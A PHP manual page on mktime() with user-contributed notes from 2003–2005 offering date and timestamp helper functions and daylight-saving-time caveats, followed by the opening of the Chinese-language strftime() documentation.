Here's 2 functions that should let you convert back and forth between human-readable H:M:S format and non-negative, GMT-agnostic timestamps for when you are working only with hours, minutes, and seconds.

<?php
function hms_2_ts($hms) //expects 24 hour time expressed like
                       //00:00:01 for "one second after midnight"
{
   $offset = date(Z);    //your local offset in seconds from GMT

   $hms_arr = explode(":", $hms);

   $h = $hms_arr[0];
   $m = $hms_arr[1];
   $s = $hms_arr[2] + $offset;    //Compensate for GMT offset

   $ts = mktime($h, $m, $s, 1, 1, 1970, 0);

   return $ts;
}

function ts_2_hms($ts)
{
   $offset = date(Z);

   $ts += 86400;    //no "before 1970" errors on Windows this way.
                   //This will make the date wrong, but we're only
                   //dealing with H:M:S so it shouldn't matter

   $ts -= $offset;    //Compensate for GMT offset

   return date("H:i:s", $ts);
}

//Check it out:
echo "offset = " . date(Z) . "<br>";

$hms = "00:00:01";
echo "hms = $hms<br>";

$ts = hms_2_ts($hms);
echo "ts = $ts<br>";

$hms_again = ts_2_hms($ts);
echo "hms again = $hms_again";
?>
maxnamara at yahoo dot com
08-Mar-2005 11:08
How to get the date of next day(s) ?
Please take a look my working code:

<?

function add_zero($a){
   $b = $a;
   if(strlen($a) == 1){
       $b = "0".$a;
   }
   return $b;
}

function day_th($gmt, $no=30){

// default $no = 30 later

// get GMT datetime as standard for 'now()'

// $gmt = gmstrftime("%Y-%m-%d %H:%M:%S");

$d = explode(" ",$gmt);
$date = $d[0];
$time = $d[1];

$date_x = explode("-",$date);
$year = $date_x[0];
$month = $date_x[1];
$day = $date_x[2];

$time_x = explode(":",$time);
$hour = $time_x[0];
$minute = $time_x[1];
$second = $time_x[2];

// create UNIX TIMESTAMP of the GMT above
$t = mktime($hour, $minute, $second, $month, $day, $year);

// 1 h = 3600 sec
// 1 d = 24 h
// 1 d = 86400 sec
// 30 d = 2592000 sec

$unix_stamp = 86400 * $no;

$res = getdate($t + $unix_stamp);

$ris = array_values($res);

list($seconds,$minutes,$hours,$mday,$wday,$mon,$year,
$yday,$weekday,$month,$unix) = $ris;

$mon = add_zero($mon);
$mday = add_zero($mday);
$seconds = add_zero($seconds);
$minutes = add_zero($minutes);
$hours = add_zero($hours);

$day_th = $year."-".$mon."-".$mday." ".$hours.":".$minutes.":".$seconds;

return $day_th;
}

// $gmt = gmstrftime("%Y-%m-%d %H:%M:%S");
$gmt = "2005-02-28 00:00:01";

$nextdate = day_th($gmt, $no=1);

echo $gmt."<br>".$nextdate."<br>";
?>
maxnamara at yahoo dot com
08-Mar-2005 10:35
This is my way to get unix timestamp.

<?
$serverdate = gmstrftime("%Y-%m-%d %H:%M:%S");
echo $serverdate."<br>";

function extract_date($date){
$arr = explode(" ",$date);

$d = $arr[0];
$t = $arr[1];

$arr_d = explode("-",$d);
$year = $arr_d[0];
$year = intval($year);
$month = $arr_d[1];
$month = intval($month);
$day = $arr_d[2];
$day = intval($day);

$arr_t = explode(":",$t);
$hour = $arr_t[0];
$hour = intval($hour);
$minute = $arr_t[1];
$minute = intval($minute);
$second = $arr_t[2];
$second = intval($second);

return array($hour, $minute, $second, $month, $day, $year);
}

function unix_timestamp($date) {
$a = extract_date($date);
$b = mktime($a[0],$a[1],$a[2],$a[3],$a[4],$a[5]);

return $b;
}

/*
$a = extract_date($serverdate);
echo "<pre>";
print_r($a);
echo "</pre>";
*/

echo "<br><br><br>";
echo "Unix TimeStamp:<br>";
$b = unix_timestamp($serverdate);
echo $b."<br>";

?>
the_boy_who_got_lost at yahoo dot com
08-Mar-2005 06:10
Just an example of how to get the date out of a couple of list boxes, for newbe's

<form action="<?=$PHP_SELF ?>" method="post">
<span class="row2"><select name="month" id="month">
               <option selected="selected">Month</option>
               <option>April</option>
               <option>May</option>
               <option>June</option>
               <option>July</option>
               <option>August</option>
               <option>September</option>
               <option>October</option>
             </select>
             <select name="day" id="day">
               <option selected="selected">Day</option>
               <option>1</option>
               <option>2</option>
               <option>3</option>
               <option>4</option>
               <option>5</option>
               <option>6</option>
               <option>7</option>
               <option>8</option>
               <option>9</option>
               <option>10</option>
               <option>11</option>
               <option>12</option>
               <option>13</option>
               <option>14</option>
               <option>15</option>
               <option>16</option>
               <option>17</option>
               <option>18</option>
               <option>19</option>
               <option>20</option>
               <option>21</option>
               <option>22</option>
               <option>23</option>
               <option>24</option>
               <option>25</option>
               <option>26</option>
               <option>27</option>
               <option>28</option>
               <option>29</option>
               <option>30</option>
               <option>31</option>
             </select>
             <select name="year" id="year">
               <option selected="selected">Year</option>
               <option>05</option>
               <option>06</option>
             </select>
             <input name="submit" type="submit" id="submit" value="submit">
</span>
</form>

<?php
if (!isset($_POST['submit'])){

}
//
// form submitted
//
else {
$Dmonth = $_POST[month];
$Dday = $_POST[day];
$Dyear = $_POST[year];

if ($Dmonth == 'April') {$r = "4";}
elseif ($Dmonth == 'May') {$r = "5";}
elseif ($Dmonth == 'June') {$r = "6";}
elseif ($Dmonth == 'July') {$r = "7";}
elseif ($Dmonth == 'August') {$r = "8";}
elseif ($Dmonth == 'September') {$r = "9";}
elseif ($Dmonth == 'October') {$r = "10";}
echo "<br />";
echo "<br />";
$date1 = date("M-d-y", mktime(0, 0, 0, $r, $Dday, $Dyear));
echo $date1 ;
echo "<br />";
echo date("M-d-y", mktime(0, 0, 0, $r, ++$Dday, $Dyear));
echo "<br />";
echo date("M-d-y", mktime(0, 0, 0, $r, ++$Dday, $Dyear));
echo "<br />";
echo date("M-d-y", mktime(0, 0, 0, $r, ++$Dday, $Dyear));
}
?>
andreas dot schmeiler at rtlnewmedia dot de
11-Feb-2005 08:41
if you ever wondered how to convert a windows (ASP) Timestamp to an unix Timestamp, try this:

(windowsTime to unixTime):

function wT2uT($win_timestamp) {

   $WIN_DATE_CONST=2209165200;
   $WIN_TIME_CONST=115740.74074074;

   list($win_date, $win_time)=explode(",",$win_timestamp);

   $win_time=substr($win_time."0000000000",0,10);

   $ux_date = $win_date*24*60*60;
   $ux_date-= (date("I")*60*60);
   $ux_date-= $WIN_DATE_CONST;

   $ux_time = round($win_time/$WIN_TIME_CONST);

   return($ux_date+$ux_time);
}
kwillmert a visionaryweb dt com
10-Feb-2005 06:47
A simpler version of the function below:
<?php

function dttm2unixtime( $dttm2timestamp_in )
{
   //    returns unix time stamp for a given date time string that comes from DB
   list( $date, $time ) = split(" ", $dttm2timestamp_in);
   list( $year, $month, $day ) = split( "-", $date );
   list( $hour, $minute, $second ) = split( ":", $time );

   return mktime( $hour, $minute, $second, $month, $day, $year );
}

?>

You don't need to run intval on each string, mktime knows what they are and will do that behind the scenes.
dasprid [AT] web [DOT] de
04-Feb-2005 08:42
I have to correct, what Evorg (28-Sep-2004 04:24) wrote. If you want to delete a cookie, simply take the value 0 (zero) as timestamp. It's the same as the timestamp, which Evorg's example generates.
fontajos at phpeppershop dot com
01-Dec-2004 06:19
<?php
// Calculates UNIX timestamps from datestamps counting
// days from 01/01/0000. Used in some DataFlex databases.
// Tested only with Timestamps > 01/01/1970 and
// < 31/12/2025.
// Arguments: $days (Integer, days-from-0000,
//                  e.g. 731168 = 30/10/2001)
function date_diff_value($days) {
   // 1/1/1970 = 719543 days counting from 01/01/0000
   $day_1_1_1970 = 719543;
   $diff = $days - $day_1_1_1970;
   $unix_ts = $diff * 86400;
   return $unix_ts;
}
?>
cp at u-help dot org
28-Nov-2004 09:53
I once had to deal with dates coming in as a sting from a mysql database (surprise, surprise ;-)) without having any option to select anything differen (i.e. using mysql's UNIX_TIMESTAMP)
This caused me a lot of problems and I couldn't seem to find anything anywhere that would just take the entire lot as an input to convert it to unix-timestamp.
Maybe someone else finds the below function useful to convert these date/time strings into unix-timestamps

<?php

function dttm2unixtime($dttm2timestamp_in){
   //    returns unixtime stamp for a given date time string that comes from DB
   $date_time = explode(" ", $dttm2timestamp_in);
   $date = explode("-",$date_time[0]);
   $time = explode(":",$date_time[1]);
   unset($date_time);
   list($year, $month, $day)=$date;
   list($hour,$minute,$second)=$time;
   return mktime(intval($hour), intval($minute), intval($second), intval($month), intval($day), intval($year));
}

?>

A mysql date-time value like "2004-11-28 01:34:20" would be converted to this: 1101605660

As a verification, date("Y-m-d H:i:s", 1101605660) would return the same as the value passed in, i.e. 2004-11-28 01:34:20

Using the function above, you don't have to include any fancy parsing into the retrieval of the results...

hope it helps ;)
phpmanual at localpin dot com
02-Nov-2004 05:03
Daylight saving time!  Grrrrrrrrrr!  (And a minor "Grrr!" for PHP making this less intuitive than it should be).

In brief, NEVER add number of seconds, like 60*60*24, but use strtotime("+1 day", $myDate)).

Some of the 'simple' functions above for calculating dates will NOT work correctly when a date includes daylight saving time.  Shown below is the problem illustrated and a simple solution.

EXAMPLE 1: WRONG!
I had the following loop, which worked fine all year, until this weekend, when the clocks changed, and it broke!  The problem is daylight saving time:

// Loop through dates adding 1 days worth of seconds each time
$myDate = 1098914400  // October 28th
for ($myDate = $fromDate; $myDate <= $toDate;  $myDate = $myDate + 60 * 60 * 24) {
  $printable = strftime("%d-%m-%Y %H:%M:%S", $myDate);
  echo $printable
}

"28-10-2004 00:00:00"
"29-10-2004 00:00:00"
"30-10-2004 00:00:00"
"31-10-2004 00:00:00"
"31-10-2004 23:00:00"  (oops!  31st October repeats and time now 23:00!!)
"01-11-2004 23:00:00"
"02-11-2004 23:00:00"

EXAMPLE 2: CORRECT!
$myDate = 1098914400  // October 28th
for ($myDate = $fromDate; $myDate <= $toDate; $myDate = strtotime("+1 day", $myDate)) {
  $printable = strftime("%d-%m-%Y %H:%M:%S", $myDate);
  echo $printable
}

"28-10-2004 00:00:00"
"29-10-2004 00:00:00"
"30-10-2004 00:00:00"
"31-10-2004 00:00:00"
"01-11-2004 00:00:00"
"02-11-2004 00:00:00"
Evorg
28-Sep-2004 10:24
mktime should be used when removing cookies. Normally people tend to use: time()-3600 to set the expiration date in "the past". The problem with this is that some computers is set at a wrong date and therfore differs from the server-time. That will render the time()-3600 unusable.

Instead use mktime(12,0,0,1, 1, 1990) as you expiration criteria. I'm convinced that only a very few users has set their time back more than 1990 :)
alex at gameserverhost dot nl
15-Sep-2004 05:27
A simple statement to calculate days between two dates

$dayselepsed = round((strtotime($dateone) - strtotime($datetwo))/(60*60*24)-1);

Regards Alex Curvers
jlim at natsoft dot com dot my
25-Jun-2004 08:36
Hi,

For those looking for a solution to the 1970-2038 limitation, the adodb time library does the trick nicely. The website has changed, to

http://phplens.com/phpeverywhere/adodb_date_library

"This library replaces native functions as follows:

   getdate()  with  adodb_getdate()
   date()    with  adodb_date()
   gmdate()  with  adodb_gmdate()
   mktime()  with  adodb_mktime()
   gmmktime() with  adodb_gmmktime()"

Download the inc file:
http://phplens.com/lens/dl/adodb-time.zip

Enjoy, John Lim
noodle at digital-nw dot com
17-May-2004 10:47
If the time has passed and you have not specified a date, mktime will automatically move to the next date. For example:

$hour = '12';
$mins = '37';

$time = mktime($hour,$mins,0,date('n'),date('d'));
echo date("l dS of F Y h:i:s A",$time);

will return something like:

Monday 17th of May 2004 12:37:00 PM

When in actuality it's Sunday 16th of May.
Robert Christiaanse
15-May-2004 01:56
In addition to my post (get date by week number, day of the week and year)...

No Daylight saving was taken into account!!! That's were the 3600 --- It's summertime here now :-)  --- is used for in PHPUnixTimeStamp(), but it's dirty and also wrong.
Robert Christiaanse
15-May-2004 01:47
If you want to get the date of a given day in a week, this might be useful. (I.e. you want to know what is the date of Friday in week 20 of 2004)
This code was converted from Delphi source code and has been tested. No guarantees however ;-)

<?php

# Get a date by providing a week number, day of week and a year.

# Be careful! There are different definitions for weeks. Here the European definition is used.
# In Europe a week starts on Monday.
# Also the start of the first week in a year is defined differently in different countries.
# Here the ISO 8601 definition is used. This is the standard in Europe.
#
# I got the information from http://home.t-online.de/home/PeterJHaas/delphi.htm
# There are many websites with information on week numbers.
# An excellent site on this subject is http://www.pjh2.de/datetime/weeknumber/index.php
#
# This PHP source was based on the Delphi source code by Peter J. Haas
#

 //give me the date of Friday week 20 of the year 2004 (Should result in Friday May 14 2004)
 $aWeek=20; $aDay=05; $aYear=2004;
 $adate=datefromweeknr($aYear, $aWeek, $aDay);
 echo 'The date (week='.$aWeek.' day='.$aDay.' year= '.$aYear.') is '.date('D d-m-Y',$adate).'<br>';

 function datefromweeknr($aYear, $aWeek, $aDay)
 {
  $FirstDayOfWeek=1; //First day of week is Monday
  $BaseDate=4; //We calculate from 4/1 which is always in week 1
  $CJDDelta=2415019; //Based on start of Chronological Julian Day
  $StartDate = DelphiDate(mktime(1,0,0,01,$BaseDate,$aYear)); //The date to start with
  $Offset = ($aWeek-1) * 7 - mod(floor($StartDate) + $CJDDelta + 8 - $FirstDayOfWeek,7) + $aDay - 1;
  return PHPUnixTimeStamp($StartDate + $Offset);
 }

 #---------extra functions used----------

 function DelphiDate($aPHPTime)
 {
   # The Unix Timestamp holds the number of seconds after January 1 1970 01:00:00
   return div($aPHPTime,86400)+25569;
 }

 function PHPUnixTimeStamp($aDelphiDate)
 {
   # Delphi's TDate holds number of days after December 30 1899
   return ($aDelphiDate-25569)*86400-3600;
 }

 function mod($number, $div)
 {
   return $number - floor($number/$div)*$div;
 }

 function div($number, $div)
 {
   return floor($number/$div);
 }

 ?>
Dave J.
13-May-2004 11:42
bichinhoverde's my_gmmktime function uses an incomplete definition of leap year.  It's not leap year if the year is divisible by 100 and NOT divisible by 400. E.G. 2000 was a leap year, but 2100 will not be. Trivial, but it should be said.

Thus,
   if ( $i % 4 == 0 ) {
     $output += 24*60*60;
   }

should be:
   if ( (($i % 4 == 0) && ($i % 100 != 0))
       || ($i % 400 == 0) ) {
     $output += 24*60*60;
   }
matt at killermookie dot org
23-Apr-2004 08:27
I noticed that while it is legal to do this:

$date=date("Y-m-d", mktime(0,0,0,4,20,2004);

It doesn't quite work the same when you do this:

$time=date("H:i:s", mktime(10,30,15,0,0,0);

No matter what variables you put in for time, it'll always spit out 15:59:59. You need to include the month, day and year if you want it to convert the time.

I spent nearly an hour trying to figure out what I was doing wrong til I stuck in a random date.
php at cNhOiSpPpAlMe dot org
22-Apr-2004 04:37
Is it DST in the US on/at $dDate? (Regional exceptions not included.)
Ref.: http://webexhibits.org/daylightsaving/e.html

I use this function to calculate time differences between a server located in the US and a region not affected by DST, and vice-versa.

<?

function f_IsDstUS ($dDate) {
  // DST START (First Sunday in April at 2am)
  $dApril1stDay = mktime(
                     0,0,0,
                     4,1,date("Y",$dDate));
  $dApril1stSunday = $dApril1stDay
                   +((7-date("w",$dApril1stDay))%7)*(60*60*24);
  $dDstStart = mktime(
                 2,0,0,
                 date("m",$dApril1stSunday),
                 date("d",$dApril1stSunday),
                 date("Y",$dApril1stSunday));

  // DST END (Last Sunday in October at 2am)
  $dOctoberLastDay = mktime(
                       0,0,0,
                       11,0,date("Y",$dDate));
  $dOctoberLastSunday = $dOctoberLastDay
                       -(date("w",$dOctoberLastDay))*(60*60*24);
  $dDstEnd = mktime(
               2,0,0,
               date("m",$dOctoberLastSunday),
               date("d",$dOctoberLastSunday),
               date("Y",$dOctoberLastSunday));

  // DST?
  return intval(  $dDate >= $dDstStart
               && $dDate < $dDstEnd);
}

?>
y4yh00 at yahoo dot com
08-Apr-2004 07:58
For those looking for a solution to the 1970-2038 limitation, the adodb time library does the trick nicely.

http://php.weblogs.com/adodb_date_time_library
"This library replaces native functions as follows:

   getdate()  with  adodb_getdate()
   date()    with  adodb_date()
   gmdate()  with  adodb_gmdate()
   mktime()  with  adodb_mktime()
   gmmktime() with  adodb_gmmktime()"

Download the inc file:
http://phplens.com/lens/dl/adodb-time.zip

Enjoy,
rob
joakim stai
29-Mar-2004 02:48
As Nigel pointed out, you should be aware of DST (Daylight Savings Time) when using mktime(). Some systems will return a negative value if you use 0 as the hour, as it will simply skip from (for example) 23:59:59 to 01:00:00. Instead use 12 (noon) as the hour and you won't get a negative timestamp or a date in the 1960's.

This code will work with DST:
$today = mktime(12, 0, 0, date("m"), date("d"), date("Y"));
ed_isthmus at NOSPAMyahoo dot com
08-Mar-2004 10:23
Further to a point iain made earlier, about problems with daylight savings time:
<?php
$timestamp = mktime(0, 0, 0, 3, 28, 2004);
echo date('d M Y H:i:s', $timestamp);
?>
Will output '27 Mar 2004 23:00:00' (in the UK)!
Best solution for me was to specify the dst argument:
<?php
$timestamp = mktime(0, 0, 0, 3, 28, 2004, 0);
?>
Alternatively, you could use gmmktime(); and/or check the timezone offset.
pb at _remove_ pedal dot dk
28-Feb-2004 11:30
I find it easiest, if I want to find you how many days there are between two dates to use the following method:

$init_day = 1;
$init_mth = 1;
$init_yr = 2004;

$dst_day = 5;
$dst_mth = 8;
$dst_yr = 2004;

//first convert to unix timestamp
$init_date = mktime(12,0,0,$init_mth,$init_day,$init_yr);
$dst_date = mktime(12,0,0,$init_mth,$init_day,$init_yr);

$offset = $dst_date-$init_date; //Depending on which offset type you want, switch order

$days = floor($offset/60/60/24);
Nigel Gilbert
16-Feb-2004 04:15
Several posts here offer procedures to compute the number of days between two dates based on using mktime, using the given date and 00:00:00 as the time.  It turns out that this is bad choice for the default time for such calculations when the date in question happens to be the date when daylight savings time starts.  For example, on several OSs, there is no such time as 00:00:00 30-03-2003 (and mktime returns a negative value), because the clock changed from 23:59:59 29-03-2003 straight to 01:00:00 30-03-2003 as a result of Daylight Saving. At better choice is to use, for example, 12,0,0,30,3,2003 as the argument to mktime, that is, use noon, not midnight as the default time.
web at nihongo dot d2g dot com
08-Feb-2004 05:13
<?php

//-----------------------------------------------------------
function date_diff($date_from,$date_to,$unit='d')
/*
Calculates difference from date_from to date_to, taking into account leap years
if date_from > date_to, the number of days is returned negative
date_from and date_to format is: "dd-mm-yyyy"
It can calculate ANY date difference, for example between 21-04-345 and 11-11-3412
This is possible by mapping any date to the "range 0" dates, as this table shows:

   INI            END            RANGE    LEAP YEARS
   ...            ...            ...        ...
   01/01/1920    01/01/1939    -3        5
   01/01/1940    01/01/1959    -2        5
   01/01/1960    01/01/1979    -1        5
   01/01/1980    01/01/1999    0        5    * this is the range used for calculations with mktime
   01/01/2000    01/01/2019    1        5
   01/01/2020    01/01/2039    2        5
   01/01/2040    01/01/2059    3        5
   01/01/2060    01/01/2079    4        5
   ...            ...            ...        ...

The difference is calculated in the unit specified by $unit (default is "days")
$unit:
   'd' or 'D' = days
   'y' or 'Y' = years
*/

{
   //get parts of the dates
   $date_from_parts = explode('-', $date_from);
   $date_to_parts = explode('-', $date_to);
   $day_from = $date_from_parts[0];
   $mon_from = $date_from_parts[1];
   $year_from = $date_from_parts[2];
   $day_to = $date_to_parts[0];
   $mon_to = $date_to_parts[1];
   $year_to = $date_to_parts[2];

   //if date_from is newer than date to, invert dates
   $sign=1;
   if ($year_from>$year_to) $sign=-1;
   else if ($year_from==$year_to)
       {
       if ($mon_from>$mon_to) $sign=-1;
       else if ($mon_from==$mon_to)
           if ($day_from>$day_to) $sign=-1;
       }

   if ($sign==-1) {//invert dates
       $day_from = $date_to_parts[0];
       $mon_from = $date_to_parts[1];
       $year_from = $date_to_parts[2];
       $day_to = $date_from_parts[0];
       $mon_to = $date_from_parts[1];
       $year_to = $date_from_parts[2];
       }

   switch ($unit)
       {
       case 'd': case 'D': //calculates difference in days
       $yearfrom1=$year_from;  //actual years
       $yearto1=$year_to;      //(yearfrom2 and yearto2 are used to calculate inside the range "0")
       //checks ini date
       if ($yearfrom1<1980)
           {//year is under range 0
           $deltafrom=-floor((1999-$yearfrom1)/20)*20; //delta t1
           $yearfrom2=$yearfrom1-$deltafrom;          //year used for calculations
           }
       else if($yearfrom1>1999)
           {//year is over range 0
           $deltafrom=floor(($yearfrom1-1980)/20)*20; //delta t1
           $yearfrom2=$yearfrom1-$deltafrom;          //year used for calculations
           }
       else {//year is in range 0
           $deltafrom=0;
           $yearfrom2=$yearfrom1;
           }

       //checks end date
       if ($yearto1<1980) {//year is under range 0
           $deltato=-floor((1999-$yearto1)/20)*20; //delta t2
           $yearto2=$yearto1-$deltato;            //year used for calculations
           }
       else if($yearto1>1999) {//year is over range 0
           $deltato=floor(($yearto1-1980)/20)*20; //delta t2
           $yearto2=$yearto1-$deltato;            //year used for calculations
           }
       else {//year is in range 0
           $deltato=0;
           $yearto2=$yearto1;
           }

       //Calculates the UNIX Timestamp for both dates (inside range 0)
       $ts_from = mktime(0, 0, 0, $mon_from, $day_from, $yearfrom2);
       $ts_to = mktime(0, 0, 0, $mon_to, $day_to, $yearto2);
       $diff = ($ts_to-$ts_from)/86400;
       //adjust ranges
       $diff += 7305 * (($deltato-$deltafrom) / 20);
       return $sign*$diff;
       break;

       case 'y': case 'Y': //calculates difference in years
       $diff=$year_to-$year_from;
       $adjust=0;
       if ($mon_from>$mon_to) $adjust=-1;
       else if ($mon_from==$mon_to)
           if ($day_from>$day_to) $adjust=-1;

       return $sign*($diff+$adjust);
       break;
       }
}

?>
praas at NOSPAM dot ision dot nl
01-Feb-2004 04:44
Consider skipping months with mktime().

$nextmonth = date("M",mktime(0,0,0,date("n")+1,date("j"),date("Y")));

On any day in Januari you expect to get Feb, right?
But on January 30th you'll get Mar. It will try Feb 30th, which doesn't exist, and skips another month. Therefore in this case present a day value that will certainly be legal in any month, like day "1".

This will give you next month on any day of the year:
$nextmonth = date("M",mktime(0,0,0,date("n")+1,1,date("Y")));
marcbs78 at gmx dot net
20-Jan-2004 10:43
The function MakeTime() of todd at buiten dot com does work very well but there is al little problem with the introduction of summer/winter time.

In Germany this time is introduced in 1980. So if we shift the timezone from 1952-1969 to 1980-1997 you'll work with summer/winter time but this isn't correct.

This doesn't matter until you'll work only with dates. If you do, you're loosing one hour which means in dates this is one day which is lost.
iain at seatofthepants dot net
09-Dec-2003 11:49
In the above example it should ne boted that if you try to calculate the command at midnight on the 28/04/2004 you will get an erroneous response. This has been driving me to distraction.

$myTime = mktime( 0, 0, 0, 3, 28, 2004);

Solution I found was to create the time at 3am well after the 2am daylight savings problem, viz:

$myTime = mktime( 3, 0, 0, 3, 28, 2004);

Not sure if this is documented anywhere.
todd at buiten dot com
07-Dec-2003 05:14
If you want to calculate dates before 1970 and your OS doesn't support it (Windows and Linux), you can easily write your own wrapper to mktime to do the calculation.  The idea is to find a date range in the 1970-2037 time frame that is the same as your year prior to 1970 (both years start on the same day of the week and leap years are the same), then add that number of years to your year value before calling mktime() and then subtract the corresponding number of seconds from the mktime() result (including the appropriate number of leap seconds).  This way old guys like me (born in 1963) can get a valid number back from mktime() and we can figure out how old we are in seconds.  :-)  You can go all the way back to 1902 if you want.

The mapping is as follows:
1902-1951 = 1986-2035
1952-1969 = 1980-1997
By matching starting day of week for the year and leap years then we should calculate daylight time correctly (assuming that we have the right rules set).  There's a special hack in the code to turn off daylight time prior to 1942 for date().

Here's the code that we're using now:

//
// Replacement for mktime that does dates before 1970
//
function MakeTime()
{
   $objArgs = func_get_args();
   $nCount = count($objArgs);
   if ($nCount < 7)
   {
       $objDate = getdate();
       if ($nCount < 1)
           $objArgs[] = $objDate["hours"];
       if ($nCount < 2)
           $objArgs[] = $objDate["minutes"];
       if ($nCount < 3)
           $objArgs[] = $objDate["seconds"];
       if ($nCount < 4)
           $objArgs[] = $objDate["mon"];
       if ($nCount < 5)
           $objArgs[] = $objDate["mday"];
       if ($nCount < 6)
           $objArgs[] = $objDate["year"];
       if ($nCount < 7)
           $objArgs[] = -1;
   }
   $nYear = $objArgs[5];
   $nOffset = 0;
   if ($nYear < 1970)
   {
       if ($nYear < 1902)
           return 0;
       else if ($nYear < 1952)
       {
           $nOffset = -2650838400;
           $objArgs[5] += 84;
           // Apparently dates before 1942 were never DST
           if ($nYear < 1942)
               $objArgs[6] = 0;
       }
       else
       {
           $nOffset = -883612800;
           $objArgs[5] += 28;
       }
   }

   return call_user_func_array("mktime", $objArgs) + $nOffset;
}

In Linux, the values returned will work just fine with date() and I believe that strftime() should work too, but Windows doesn't like the negative values at all.  We had to write a replacement for strtotime since it appears to call mktime() to come up with the final result.

I hope that this helps someone.

- todd
verszuz at hotmail dot com
29-Nov-2003 01:53
I figured out this way to calculate your age using mktime:

<?php

$day=27;//the day of birth variable
$month=10;//the month of birth variable
$year=1977;// the year of birth variable

$now=mktime();
echo $now."<br>";
$timebirth=mktime(0,0,0,$month,$day,$year);
echo $timebirth."<br>";
$agetime=$now-$timebirth;

echo ((strftime("%Y",$agetime))-(strftime("%Y",0)));
?>

I hope this will help. Remember this calculator does not work properly on windows because of the limited range of mktime().
sun4php at coolguide dot net
24-Nov-2003 09:36
Very often we are faced with the problem of adjusting ourself to local time where application is running rather than running our application at server time.

Now we have a way to do that by setting TZ variable using putenv() method. But due to the non-availability of standard time zone codes, developers are often faced with the ambiguity of how to implement a non standard time zone(those which are not too popular)

I figured a way out myself for this. It uses the information that a particular time zone is n hours ahead or n hours behind standard GMT time zone.

here is what i did.
<?php

$day=15;
     $month=12;
     $year=2003;
     //convert it to unix timestamp

     $deadline=mktime('','','',$month,$day,$year);

//caluculate our time from GMT time
     $hour=gmdate('H');
     $min=gmdate('i');
     $sec=gmdate('s');
     $month=gmdate('n');
     $day=gmdate('d');
     $year=gmdate('Y');
     $stamp=mktime ($hour,$min,$sec,$month,$day,$year);

// technique is to convert the GMT date & time to unix stamp, then convert time zone
     //specific information like add 5 hours or subtract 5 hours to seconds,(consider day
     //light saving here), and add/subtract it to the unix time stamp and then convert
     //it back to date using date function if needed or perform operations needed on the
     // time stamp

     //subtract 6/n hours from GMT time (Central standard time/CST)
     //vary this part to whatever time zone you are at
     $do=6*60*60;
     $lstamp=$stamp-$do;
     echo("Today(local date/Central):".date('h:i:s d/n/Y',$lstamp)."<br>");

     $left=$deadline-$lstamp;

     $days_left=floor($left/(24 * 60 * 60));
     $hours_left=floor($left/(60 * 60 ));
     echo "<br>Days Left: $days_left<br>";
     echo "<br>Hours Left(approx): $hours_left<br>";
     ?>

Change the $do variable to whatever seconds you are different from GMT and add or subtract accordingly to generate $lstamp.

This would solve your time zone problems.

Happy Coding,
Suneel Kanuri
trahma
21-Nov-2003 04:06
I think it is important to note that the timestamp returned is based upon the number of seconds from the epoch GMT, and then modified by the time zone settings on the server.

Thus...

mktime(0,0,0,1,1,1970) will not always return 0.  For example with the US eastern time zone (GMT-5) will return 18000 (5 hours past the epoch) and the same function with the time zone set to the US pacific time zone (GMT-8) will return 28800 (8 hours past the epoch).

In an instance where you want time zone independence, you should use the function gmmktime()
laurie at oneuponedown dot com
19-Nov-2003 12:42
With regard to Example 1 and using mktime to correct out-of-range input.

It should be noted that mktime will implement day light saving amends. Consider the following:

<?
print(date("d/m/Y H:i:s",mktime(0,0,0,3,(27 + 1),2004)));
?>
OUTPUT "28/03/2004 02:00:00"

<?
print(date("d/m/Y H:i:s",(mktime(0,0,0,3,27,2004) + (((1 * 24) * 60) * 60))));
?>
OUTPUT "28/03/2004 00:00:00"

Dependent on your requirements this may or may be desirable
add a note add a note

后退 | 起点 | 前进
microtime | 上一级 | strftime


strftime

(PHP 3, PHP 4, PHP 5)

strftime -- 根据区域设置格式化本地时间／日期

说明

string strftime ( string format [, int timestamp] )

返回用给定的格式字串对给出的 timestamp 进行格式输出后的字符串。如果没有给出时间戳则用当前的本地时间。月份和星期几以及其它和语言有关的字符串写法和用 setlocale() 设定的当前的区域有关。

格式字串能识别下列转换标记：

  • %a - 当前区域星期几的简写

  • %A - 当前区域星期几的全称

  • %b - 当前区域月份的简写

  • %B - 当前区域月份的全称

  • %c - 当前区域首选的日期时间表达

  • %C - 世纪值（年份除以 100 后取整，范围从 00 到 99）

  • %d - 月份中的第几天，十进制数字（范围从 01 到 31）

  • %D - 和 %m/%d/%y 一样

  • %e - 月份中的第几天，十进制数字，一位的数字前会加上一个空格（范围从 ' 1' 到 '31'）

  • %g - 和 %G 一样，但是没有世纪

  • %G - 4 位数的年份，符合 ISO 星期数（参见 %V）。和 %V 的格式和值一样，只除了如果 ISO 星期数属于前一年或者后一年，则使用那一年。

  • %h - 和 %b 一样

  • %H - 24 小时制的十进制小时数（范围从 00 到 23）

  • %I - 12 小时制的十进制小时数（范围从 00 到 12）

  • %j - 年份中的第几天，十进制数（范围从 001 到 366）

  • %m - 十进制月份（范围从 01 到 12）

  • %M - 十进制分钟数

  • %n - 换行符

  • %p - 根据给定的时间值为 `am' 或 `pm'，或者当前区域设置中的相应字符串

  • %r - 用 a.m. 和 p.m. 符号的时间

  • %R - 24 小时符号的时间

  • %S - 十进制秒数

  • %t - 制表符

  • %T - 当前时间，和 %H:%M:%S 一样

  • %u - 星期几的十进制数表达 [1,7]，1 表示星期一

    警告

    尽管 ISO 9889:1999（当前的 C 标准）明确指出一周从星期一开始，但是 Sun Solaris 的一周似乎从星期天开始并作为 1。

  • %U - 本年的第几周，从第一周的第一个星期天作为第一天开始

  • %V - 本年第几周的 ISO 8601:1988 格式，范围从 01 到 53，第 1 周是本年第一个至少还有 4 天的星期，星期一作为每周的第一天。（用 %G 或者 %g 作为指定时间戳相应周数的年份组成。）

  • %W - 本年的第几周数，从第一周的第一个星期一作为第一天开始

  • %w - 星期中的第几天，星期天为 0

  • %x - 当前区域首选的时间表示法，不包括时间

  • %X - 当前区域首选的时间表示法，不包括日期

  • %y - 没有世纪数的十进制年份（范围从 00 到 99）

  • %Y - 包括世纪数的十进制年份

  • %Z 或 %z - 时区名或缩写

  • %% - 文字上的 `%' 字符

注: 可能不是所有的转换标记都被 C 库文件支持，这种情况下 PHP 的 strftime() 也不支持。此外，不是所有的平台都支持负的时间戳，因此日期的范围可能限定在不早于 Unix 纪元。这意味着例如 %e, %T，%R 和 %D（可能更多）以及早于 Jan 1, 1970 的时间在 Windows，一些 Linux 发行版本，以及其它几个操作系统中无效。对于 Windows 系统，所支持的转换标记可在 MSDN 网站找到。

例子 1. strftime() 区域的例子

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
